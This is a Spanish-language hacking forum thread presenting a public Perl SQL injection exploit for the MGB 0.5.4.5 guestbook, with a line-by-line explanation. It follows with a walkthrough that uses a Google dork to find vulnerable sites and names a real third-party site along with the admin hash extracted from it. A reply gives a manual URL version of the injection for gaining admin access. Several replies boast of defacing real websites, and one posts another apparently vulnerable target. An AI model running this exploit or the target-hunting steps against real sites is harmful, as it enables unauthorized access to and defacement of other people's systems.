Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 18, 2008, 08:10:59
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, y0u-uNsEcUre)  |  Tema: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX  (Leído 2179 veces)
OzX
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2144


http://foro.undersecurity.net


Ver Perfil WWW
« en: Enero 19, 2007, 01:20:26 »

OzX [Nuke]


Estando analizando mi pasado me di cuenta que nunca me habia tomado el tiempo de "desfacear" algunas paginas, porque realmente no me gusta, yo e sido victima de esos sucesos, pero para poder defenderse ahy que saber atacar, doy por entendido que saben algo basico de programacion, intentare explicar el codigo, aunque no sera de una forma demasiado avanzada sino solo las partes mas importantes, porque mi nivel de programacion no es muy elevada y llevo bastante poco con Perl. para hacerlo mas facil buscare un exploit en MilW0rm.

Este Tutorial Se Basara en dos Partes, en la Parte Teorica en donde se Expondra el Analisis Basico del Exploit y Otra Parte Practica en donde se llevara a Cabo Lo Aprendido.

Teoria

¿Que es Inyeccion SQL?

Inyección SQL es una vulnerabilidad informática en el nivel de base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor" en la base de datos.


Una ves Entendido lo Basico Vamos en Busca del Exploit Para el Ejemplo.



Dando Click
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
AQUI
Pueden Observalo.

Código:
#!/usr/bin/perl
#
##########################################################
# MGB <= 0.5.4.5 Exploit
# Vulnerability found by SlimTim10
# Created By: SlimTim10
# <slimtim10   @gmail.com>
##########################################################
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
##########################################################


use IO::Socket::INET;

usage() unless (   @ARGV == 2);

$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";

while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <slimtim10   @gmail.com>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}

# milw0rm.com [2007-01-17]

De Aqui en Adelante Explicare Las Partes mas Importantes del Funcionamiento del Exploit .

Código:
#!/usr/bin/perl
Exploit Escrito en Perl

Código:
# MGB <= 0.5.4.5 Exploit
Nombre del Exploit y la Version.

Código:
# Created By: SlimTim10
Autor del Exploit

Código:
# Google dork:
# ( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..

Aqui se expone las lineas para buscar paginas vulnerables al Exploit.
Código:
( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..

Código:
use IO::Socket::INET;
Se Dicta que se Usaran los Sockets en perl.

Código:
$host = $ARGV[0];
$dir = $ARGV[1];

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

Se declaran las Variables y los Arreglos. $dir, $host , directorio y Host.

Código:
$path = $dir.'email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--';
Esta es la Inyeccion SQL .

Código:
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
Se Intenta Conectar al Servediro, y se da a entender que los datos ingresados en la variable $host es la direccion, estableciendo tambien el puerto 80, con protocolo "tcp", si este no logra tener una conexion "die" [-] Fallo la Conexion: No se puede Conectar con $Host , en $host saldra la direccion web vulnerable que teclearon.

Código:
print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected!\n";
Muestra Todo el Procedimiento luego de teclear los Datos requeridos, Host y /Path/ .
Al inicio, nada mas muestra en Pantalla "Conectando", Luego intenta obtener "get" el directorio en donde se encuentra la vulnerabilidad, (recordar que es una vulnerabilidad basada en un libro de visitar), si la tecleado a sido correcto, este va a hacer conexion con dicha vulnerabilidad.

Código:
while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";
En esta parte del codigo pasa casi lo mas importante, si no se logra conectar con el servidor y con la vulnerabilidad, este fallara [-] Exploit Failed, y termina el  exploit, sino este se conectara y nos dara el hash (md5) del Administrador.

Analizando un Poco mas.

Código:
while ($answer = <$socket>) {
  $answer =~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;
}

Mientras ($answer = <$socket>) , siendo  $answer igual ~ m/Email an&nbsp;(.*?)&nbsp;schreiben/ and $var = $1;, este nos entrega el valor en la variable $var , el cual tiene el Hash md5 del Administrador.

Código:
if ($var !~ /[\da-f]{32,32}/) {
print "[-]Exploit failed.";
exit(0);
}

si la cadena ''/[\da-f]{32,32}/) " no esta en $var se ejecuta el código entre llaves.{}
 
Código:
{
print "[-]Exploit failed.";
exit(0);
}

Esto Significa que el Exploit Fallo.

Código:
print "[+]Admin Password: $var\n";
print "[+]Admin Link: http://$host".$dir."admin.php?sid=$var\n";

Si sale todo bien y se logra conectar en donde esta la vulnerabilidad, obtendremos el Hash en la variable $var, asi podremos ver directamente el hash.

print " Admin: Password: $var \n";
print "Admin Link: http://$host".$dir."admin.php?sid=$var\n";



Código:
]                                                         [
[       MGB <= 0.5.4.5 Remote SQL Injection Exploit       ]
[                Tested on MGB <= 0.5.4.5                 ]
[       Created by: SlimTim10 <slimtim10   @gmail.com>       ]
]                                                         [
);
    print "=|=-" x 14 . "=|=\n\n";
    print "\tUsage: $0 [HOST] [PATH]\n";
    print "\tEx: $0 www.host.com /guestbook/\n";
    print "\tEx: $0 host.com mgb";
    print "\n\n"."`^" x 29 . "`\n";
    exit(0);
}


Este es el texto que vemos al iniciar el exploit, como podemos ver aqui nos pide el Host, y el path. y Ahy se acaba el Exploit. , la variable $0 saldra el nombre con que tenemos nombrado nuestro exploit.

Talves no sera de un nivel muy avanzado, pero sirve para darse una idea de los "clicks" que se hacen, porque esta es la idea , poder entender aunque sea poco, los exploit, esa es la magia, la intencion, es donde se diferencia realmente de un user que solo quiere joder y de otro que realmente quiere aprender, porque este talves no les funcionara un exploit a la primera, pero seguira intentando, y intentara aprender a programar, para entender dicho lenguaje y quien no, a los 3 intentos y ver q no les resulta, ira a google a buscar si existe el *censurado*.

Es muy Recomendable Leer Algunos de los Siguientes Manuales de Perl, Para tener una idea de como esta escrito el exploit.


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
WIKI Perl


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Tutorial de Lenguaje perl


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Curso perl


Practica

Primero que nada Vamos a Guardar Nuestro Exploit con la terminacion .pl y Nos Bajamos el Interpretador Perl, Todo Esto lo Pueden Encontrar en la Revista Hack Newbie E-Zine, que se la pueden descargar desde
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
AQUI
, (solo la parte de compilacion no la revista entera).

Una Ves Entendido todo El Manual, Tendriamos que tener una pantalla como Esta.



Ahora devemos Buscar alguna web Vulnerable, Revisamos el Codigo hasta donde sale Google Dork.
Código:
( intext:mgb.0.5.. & intext:mopzz ) | intext:mgb.0.5.4..
y Buscamos en google.



Buscamos Alguna Web.



Como es una vulne de WilW0rm es facil encontrase con otra que web que ya fue visita por otros users que explotaron la misma vulnerabilidad

Ahora ingresamos a la web, y nos lanza a este sitio.

Código:
http://www.schiessgruppe.de/gb/onlinehilfe/

Si leimos algo Sobre MGB es un Libro de Visitas o GuestBook, Ahora intentamos ver si esta en ese mismo directorio.



Y Tenemos Suerte, si esta en el mismo directorio, Guestbook.php



Ahora volvemos el Exploit y Seguimos Los requisitos que nos pide y lo ejecutamos,


Si Sale Todo Bien Nos Dara el Hash

Código:
http://www.schiessgruppe.de/gb/admin.php?sid=80d14739e0519dcd55602202736abbf3
vamos a obtener el hash en la variable $var, ahora podemos copiar la direccion y copiarla en nuestro navegador.

Luego entramos al panel de Control y Podemos ver todas las opciones que nos da.




Video Tutorial :
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Descargar VideoTuto


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Mirror Descarga Video Tuto



Prohibida la Reproduccion Total o Parcial de Este Tutorial, Si desean que este en otro Foro, Porfavor perdime a Mi por Privado y Yo Encantado Expondre el Tuto en Su Foro o En Donde Quieran. Con los Tutoriales Pasados e Tenido Muchos Problemas, y Prefiero que Mejor sea de Esta Forma.


Saludos¡ OzX [NuKe], Newbytes.info ¡ Pronto Online ¡


Pd: Si me equivoque en Algo en cuanto a los Codigos, o alguien que tenga conocimiento mas avanzados desea hacer un analisis mas detallado , pero entendible, a newbies, Porfavor Avisar . Thanx¡


Articulo reparado por E0F
« Última modificación: ſeptiembre 14, 2008, 02:35:49 por E0F » En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Elros Yavetil
Miembro
*****
Desconectado Desconectado

Mensajes: 39


Ver Perfil Email
« Respuesta #1 en: Marzo 15, 2007, 11:31:39 »

dice que window lo reconcoe como comando interno el perl :S
« Última modificación: Marzo 15, 2007, 11:54:12 por Elros Yavetil » En línea
r.u.b.i.o
Habitual
*****
Desconectado Desconectado

Mensajes: 344


Rahma Naoarak O'al

seba.lpda@gmail.com
Ver Perfil Email
« Respuesta #2 en: Marzo 15, 2007, 01:42:58 »

dice que window lo reconcoe como comando interno el perl :S

XD tenes que tener instalado el
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Active Perl
para interpretar xD, o sino doy otra alternativa para  usar esta sql inyection :

Una vez que encuentran una pagina vulnerable, vas a donde dice CONTACT.



EN la barra de direcciones, podemos ver un tal "email.php?id=admin" , eso lo reemplazamos por "email.php?id=1%20UNION%20SELECT%20null,passwort%20FROM%20mgb_settings%20--"  SIN COMILLAS y le damos enter...

EN la pagina q se abre. podemos distinguir que cambio de lo que antes decia "Write an email to Admin" a "Write an email to c68485e252b120534397e32099101d63"



Este es el resultado de la SQL Inyection ... ese codigo lo copian..

En la barra de direcciones, borramos todo desde email.php , escribimos esto: admin.php?sid=<aca pegamos el codigo>

Nos quedaria asi:
Código:
http://<url>/<directorio del foro>/admin.php?sid=<codigo del sql inyection>

LISTO , le damos enter y ya estamos como admins...  Evil
En línea
Elros Yavetil
Miembro
*****
Desconectado Desconectado

Mensajes: 39


Ver Perfil Email
« Respuesta #3 en: Marzo 15, 2007, 02:37:00 »

gracias... ya me va!!!! HICE MI PRIMER DEFACINGGG weee.... Cheesy gracias por ayudarme, ya soy feliz... Cheesy ojala hubiese manuales cm estos... WOWOWOWO!!!:D
En línea
OzX
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2144


http://foro.undersecurity.net


Ver Perfil WWW
« Respuesta #4 en: Marzo 15, 2007, 02:41:43 »

Cheesy
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Elros Yavetil
Miembro
*****
Desconectado Desconectado

Mensajes: 39


Ver Perfil Email
« Respuesta #5 en: Marzo 15, 2007, 02:54:27 »

En línea
maber
Miembro
*****
Desconectado Desconectado

Mensajes: 20


La vida no tiene sentido,hay que darselo


Ver Perfil Email
« Respuesta #6 en: Marzo 18, 2007, 02:38:35 »

me gusta me gusta
En línea

SokalT
Miembro
*****
Desconectado Desconectado

Mensajes: 43



Ver Perfil Email
« Respuesta #7 en: Marzo 25, 2007, 02:57:44 »

Yay alfin me salio desfacear me tardo mucho porke no sabia manejar el cmd pero lo hice y defacie como 5 paginas Evil Evil
En línea
rody216
Miembro
*****
Desconectado Desconectado

Mensajes: 20


Ver Perfil
« Respuesta #8 en: Marzo 25, 2007, 08:02:26 »

me pongo a practicar para aprender thanks bye
En línea
~Rik~Style~
Habitual
*****
Desconectado Desconectado

Mensajes: 310


La Vida Es Facil Toma Decisiones Y No Mires Atras


Ver Perfil
« Respuesta #9 en: Mayo 27, 2007, 06:13:49 »


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
http://rasilion.ra.funpic.de/Gaestebuch/guestbook.php



Jajajaja Gracias Ozx

 Muy Buen manual Como Siempre Te Lo Curras :p Ke Seria De Nosotros Sin Ti

Salu2
~Rik~Style~
En línea
ek_col
Visitante
« Respuesta #10 en: Agosto 16, 2007, 10:17:37 »

TENIA QUE SER OZX

Ya me acostumbre a ver que siempre sacas buenos post......buenos?...nooo...buenisimos, creeme que esta info la estaba buscando y lo que encotraba me confundia mas, ahora entiendo, gracias.

 palmas  palmas  palmas  palmas  palmas

Seria genial que las  personas compartieran mas con el foro.
En línea
.bAcKdOoR.
Recien Llegado
*
Desconectado Desconectado

Mensajes: 5



Ver Perfil Email
« Respuesta #11 en: Enero 11, 2008, 06:11:21 »

wena ozx!

oie compile y too..
pero al cargar me sale

connected y too el atao..
y al final.

Exploit Failed!

ke onda¿

= trate con la otra forma mediante "contacto" me dio el hash pero al "guarda cambios"
y lo logre...

Gracias1
« Última modificación: Enero 11, 2008, 06:26:22 por .bAcKdOoR. » En línea



Chile =)
Black_Jack21
Recien Llegado
*
Desconectado Desconectado

Mensajes: 15


H4ck 15 5h4r3 1nf0rm4t10n


Ver Perfil Email
« Respuesta #12 en: Junio 08, 2008, 07:55:58 »

exelente articulo Shocked
En línea
Flori4n
Recien Llegado
*
Desconectado Desconectado

Mensajes: 2


Ver Perfil Email
« Respuesta #13 en: Junio 18, 2008, 05:58:00 »

merci Afro
En línea
aeiou12343
Recien Llegado
*
Desconectado Desconectado

Mensajes: 5


Ver Perfil
« Respuesta #14 en: Octubre 06, 2008, 08:37:54 »

me dale esto

  • Connecting...
  • Connected!
  • [-]Exploit failed.
En línea
aleqiu
Colaborador
*****
Desconectado Desconectado

Mensajes: 977


Rango = Lammer = novato = newbies = hack = hackExp


Ver Perfil
« Respuesta #15 en: Octubre 08, 2008, 09:15:16 »

Código:
me dale esto

    * Connecting...
    * Connected!
      [-]Exploit failed.

Puede estar parcheado ya intenta con otra  Wink
En línea
pamda
Habitual
*****
Desconectado Desconectado

Mensajes: 257


Cuanto mas sé, mas cuenta me doy de que no se nada


Ver Perfil Email
« Respuesta #16 en: Octubre 09, 2008, 09:57:05 »

 Afro
interesante articulo, muy sencillo y practico. Lo basico esta explicado, apesar de que cada dia e parchean las vulnerabilidades.. cuestion de seguir buscando algunos nunca se vacunan.. jeje
Salu2
 salud
En línea


.:: pamda ::.
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, y0u-uNsEcUre)  |  Tema: Analisis Basico de EXPLOIT SQL INYECTION [MGB 0.5.4.5 ] By OzX « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC